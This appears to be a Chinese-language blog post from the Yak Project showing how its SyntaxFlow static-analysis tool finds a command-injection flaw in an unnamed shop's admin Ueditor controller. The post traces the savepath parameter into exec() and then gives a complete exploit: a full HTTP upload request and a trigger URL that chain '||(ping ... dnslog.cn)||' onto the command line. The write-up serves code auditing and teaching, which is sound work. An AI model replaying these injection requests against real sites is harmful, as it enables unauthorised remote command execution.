在进行代码审计时,我们首先需要确定危险的 "source" (输入源)和 "sink" (危险执行点)。使用 SyntaxFlow,我们可以快速编写规则来定位这些点:
request() as $source
exec(* as $sink)
$sink #{
include: <<<CODE
* & $source
CODE
}-> as $vul
这个规则的含义是:
1. 将 request()
函数标记为数据源 ($source);
2. 将 exec()
函数标记为危险执行点 ($sink);
3. 检测从 $source 到 $sink 的数据流路径,若存在则标记为漏洞 ($vul)。
通过这个规则,SyntaxFlow 很快就定位到了一个可疑点:
application/admin/Controller/Ueditor.php
中的 setVideoImg
方法。
让我们查看这个可疑方法的具体实现:
public function setVideoImg($file){
$pre = dirname(dirname(dirname(__DIR__)));
if(IS_WIN) {
$ffmpeg = $pre . '/public/plugins/ffmpeg/bin/ffmpeg.exe';
if(!file_exists($ffmpeg)) return $ffmpeg.' /no ffmpeg';
}else{
$ffmpeg = '/monchickey/ffmpeg/bin/ffmpeg';
if(!file_exists($ffmpeg)){
//$ffmpeg = '/usr/bin/ffmpeg';
$ffmpeg = 'ffmpeg';
}
}
//if(!file_exists($ffmpeg)) return $ffmpeg.' /no ffmpeg';
$arr = explode('.', $file);
$jpg = $pre . $arr[0] . '.jpg';
$path = $pre . $file;
// echo $path;echo "<br>";
if(file_exists($path)){
// 调试时打印
echo "$ffmpeg -i $path -ss 2 -vframes 1 $jpg";echo "<br>";
exec("$ffmpeg -i $path -ss 2 -vframes 1 $jpg",$re);
print_r($re);echo "<br>";
return $re;
}else{
return $path.' /no path';
}
}
从代码块可以发现很明显的命令拼接,我们需要具体地查看调用流程。
SyntaxFlow 帮我们定位到了漏洞点,但要真正理解漏洞成因和利用方式,我们需要深入分析代码。
通过跟踪 SyntaxFlow 标记的数据流,我们发现问题的核心在于:
1. $file
参数可由用户控制;
2. 该参数经过简单拼接后直接传入 exec()
函数执行。
简化一下上面的代码:
$pre = dirname(dirname(dirname(__DIR__)));
$arr = explode('.', $file);
$jpg = $pre . $arr[0] . '.jpg';
$path = $pre . $file;
...
其实就是传入了 file
变量,然后 $path
进行了一个拼接,然后进行了 exec
函数。那么,思路就很清晰了。
就是找到关于文件的可控点:
1. 文件路径可控 2. 文件名可控
这里的 $p
ath
如果能够被用户控制,就可以通过注入特殊字符来执行任意命令。但我们还需要解决一个问题:file_exists($path)
检查必须返回 true 才能继续执行。
值得注意的是,某 shop 对上传的文件名进行了随机化处理,我们发现了相关代码:
public function move($path, $savename = true, $replace = true)
{
// 文件上传失败,捕获错误代码
if(!empty($this->info['error'])) {
$this->error($this->info['error']);
return false;
}
// 检测合法性
if(!$this->isValid()) {
$this->error = 'upload illegal files';
return false;
}
// 验证上传
if(!$this->check()) {
return false;
}
$path = rtrim($path, DS) . DS;
// 文件保存命名规则
$saveName = $this->buildSaveName($savename);
$filename = $path . $saveName;
$filename2 = strtolower($filename);
if(strstr($filename2,'../') || strstr($filename2,'..\') || strstr($filename2,'.php'))
{
$this->error = '文件上传格式错误 error !';
return false;
}
// 检测目录
if(false === $this->checkPath(dirname($filename))) {
return false;
}
// 不覆盖同名文件
if(!$replace && is_file($filename)) {
$this->error = ['has the same filename: {:filename}', ['filename' => $filename]];
return false;
}
/* 移动文件 */
if($this->isTest) {
rename($this->filename, $filename);
} elseif(!move_uploaded_file($this->filename, $filename)) {
$this->error = 'upload write error';
return false;
}
// 返回 File 对象实例
$file = new self($filename);
$file->setSaveName($saveName)->setUploadInfo($this->info);
return $file;
}
这个方法通过调用 buildSaveName
方法实现文件名的随机化:
protected function buildSaveName($savename)
{
// 自动生成文件名
if(true === $savename) {
if($this->rule instanceof Closure) {
$savename = call_user_func_array($this->rule, [$this]);
} else {
switch($this->rule) {
case 'date':
$savename = date('Ymd') . DS . md5(microtime(true));
break;
default:
if(in_array($this->rule, hash_algos())) {
$hash = $this->hash($this->rule);
$savename = substr($hash, 0, 2) . DS . substr($hash, 2);
} elseif(is_callable($this->rule)) {
$savename = call_user_func($this->rule);
} else {
$savename = date('Ymd') . DS . md5(microtime(true));
}
}
}
} elseif('' === $savename || false === $savename) {
$savename = $this->getInfo('name');
}
if(!strpos($savename, '.')) {
$savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
}
return $savename;
}
这个函数会根据配置的规则生成随机文件名,默认使用当前日期和基于时间的 MD5 哈希值,从而降低了攻击者直接猜测或控制文件名的可能性。
虽然文件名被随机化,但我们注意到文件保存路径仍然是可控的。通过 savepath
参数,我们可以控制文件的存储目录,这为后续的利用提供了可能。
通过跟踪 I()
函数的调用,我们发现在 Ueditor 控制器的构造函数中:
public function __construct()
{
parent::__construct();
date_default_timezone_set("Asia/Shanghai");
$savePath = I('savepath') ?: I('savePath');
// 如果获取到了savePath,就使用用户提供的值并在末尾加上斜杠,否则使用默认值'temp/'
$this->savePath = $savePath ? $savePath . '/' : 'temp/';
error_reporting(E_ERROR | E_WARNING);
header("Content-Type: text/html; charset=utf-8");
}
漏洞关键点:构造函数中的 $savePath = I('savepath') ?: I('savePath') ;
允许攻击者控制文件保存路径。这个路径可以包含特殊字符,用于后续的命令注入。
这里的 savePath
参数可以通过 I('savepath')
获取:
functionI($name,$default='',$filter='htmlspecialchars',$datas=null) {
$value = input($name,'',$filter);
if($value !== null && $value !== ''){
return $value;
}
if(strstr($name, '.'))
{
$name = explode('.', $name);
$value = input(end($name),'',$filter);
if($value !== null && $value !== '')
return $value;
}
return $default;
}
这个函数使用 input() 函数获取用户输入并应用 htmlspecialchars
过滤,但是htmlspecialchars()
只适用于 HTML 输出场景,防止 XSS 攻击,无法有效防止命令注入或路径注入攻击。
通过 SyntaxFlow 的数据流分析,我们已经掌握了从输入源到危险执行点的完整路径。现在,我们需要构建一个实际可行的攻击链:
1. 首先,通过文件上传接口上传一个文件,构造 savepath
参数;
2. 然后,调用 setVideoImg
方法,传入特殊构造的 file
参数;
3. 利用命令拼接符( ||
, &&
, |
等)注入恶意命令。
关键点:绕过 file_exists 检查
这里最关键的难点是绕过 file_exists
检查。
上传文件时控制生成一个目录:
POST /index.php/admin/ueditor/index?action=uploadfile&savepath=robots.txt%20-ss%202%20-vframes%201%201.jpg||(ping%20-c%204%20dnslog.cn)|| HTTP/1.1
这样,当我们访问 setVideoImg
方法时,exec
执行:
http://target/index.php/admin/ueditor/setVideoImg?file=/public/upload/robots.txt -ss 2 -vframes 1 1.jpg||(ping dnslog.cn)||
基于 SyntaxFlow 的分析结果,我们构建了完整的利用链。下面是具体的攻击步骤:
1. 首先上传文件并注入命令:
POST /index.php/admin/ueditor/index?action=uploadfile&savepath=robots.txt%20-ss%202%20-vframes%201%201.jpg||(ping%20-c%204%203z2xe7.dnslog.cn)|| HTTP/1.1
Host: 127.0.0.1
Content-Length: 200
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryatyAGKOM03ReQwU5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=n0jfoc6r2i1n658o0poe0l05q3; parent_region=%5B%7B%22id%22%3A3%2C%22name%22%3A%22%u4E1C%u57CE%u533A%22%7D%2C%7B%22id%22%3A14%2C%22name%22%3A%22%u897F%u57CE%u533A%22%7D%2C%7B%22id%22%3A22%2C%22name%22%3A%22%u5D07%u6587%u533A%22%7D%2C%7B%22id%22%3A30%2C%22name%22%3A%22%u5BA3%u6B66%u533A%22%7D%2C%7B%22id%22%3A39%2C%22name%22%3A%22%u671D%u9633%u533A%22%7D%2C%7B%22id%22%3A83%2C%22name%22%3A%22%u4E30%u53F0%u533A%22%7D%2C%7B%22id%22%3A105%2C%22name%22%3A%22%u77F3%u666F%u5C71%u533A%22%7D%2C%7B%22id%22%3A115%2C%22name%22%3A%22%u6D77%u6DC0%u533A%22%7D%2C%7B%22id%22%3A145%2C%22name%22%3A%22%u95E8%u5934%u6C9F%u533A%22%7D%2C%7B%22id%22%3A159%2C%22name%22%3A%22%u623F%u5C71%u533A%22%7D%2C%7B%22id%22%3A188%2C%22name%22%3A%22%u901A%u5DDE%u533A%22%7D%2C%7B%22id%22%3A204%2C%22name%22%3A%22%u987A%u4E49%u533A%22%7D%2C%7B%22id%22%3A227%2C%22name%22%3A%22%u660C%u5E73%u533A%22%7D%2C%7B%22id%22%3A245%2C%22name%22%3A%22%u5927%u5174%u533A%22%7D%2C%7B%22id%22%3A264%2C%22name%22%3A%22%u6000%u67D4%u533A%22%7D%2C%7B%22id%22%3A281%2C%22name%22%3A%22%u5E73%u8C37%u533A%22%7D%5D; cn=0; CNZZDATA009=30037667-1536735; province_id=1; city_id=2; district_id=3; is_mobile=0; admin_type=1; workspaceParam=change%7CTemplate
------WebKitFormBoundaryatyAGKOM03ReQwU5
Content-Disposition: form-data; name="upfile"; filename="/a/test.xls"
Content-Type: application/vnd.ms-excel
1
------WebKitFormBoundaryatyAGKOM03ReQwU5--
2. 然后触发命令执行:
http://127.0.0.1/index.php/admin/ueditor/setVideoImg?file=/public/upload/robots.txt%20-ss%202%20-vframes%201%201.jpg||(ping%20-c%204%203z2xe7.dnslog.cn)||
执行成功,我们在 DNSLog 平台上收到了请求,证明命令被成功执行:
通过本次的实战,我们看到 SyntaxFlow 在静态代码审计中的强大作用:
1. 高效定位:通过简单的规则即可快速锁定潜在的漏洞点;
2. 精准分析:数据流分析功能帮助我们理清从输入源到危险执行点的完整路径;
3. 降低门槛:即使对代码不熟悉,也能快速识别关键点。
某 shop 的 RCE 漏洞本质上是一个典型的命令注入问题,关键点在于:
1. 用户输入通过 I()
函数获取后未经过滤;
2. exec()
函数直接执行拼接了用户输入的命令;
3. 通过命令拼接符实现了对 file_exists
检查的绕过。
最后,这也提醒我们在开发中应当格外注意:任何用户可控的输入都不应该直接或间接流入危险函数,必须进行严格的过滤和校验。
END
YAK官方资源
Yak 语言官方教程:https://yaklang.com/docs/intro/Yakit 视频教程:https://space.bilibili.com/437503777Github下载地址:https://github.com/yaklang/yakitYakit官网下载地址:https://yaklang.com/Yakit安装文档:https://yaklang.com/products/download_and_installYakit使用文档:https://yaklang.com/products/intro/常见问题速查:https://yaklang.com/products/FAQ
原文始发于微信公众号(Yak Project):SyntaxFlow 代码审计实战解析,拆解整个攻击链路!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论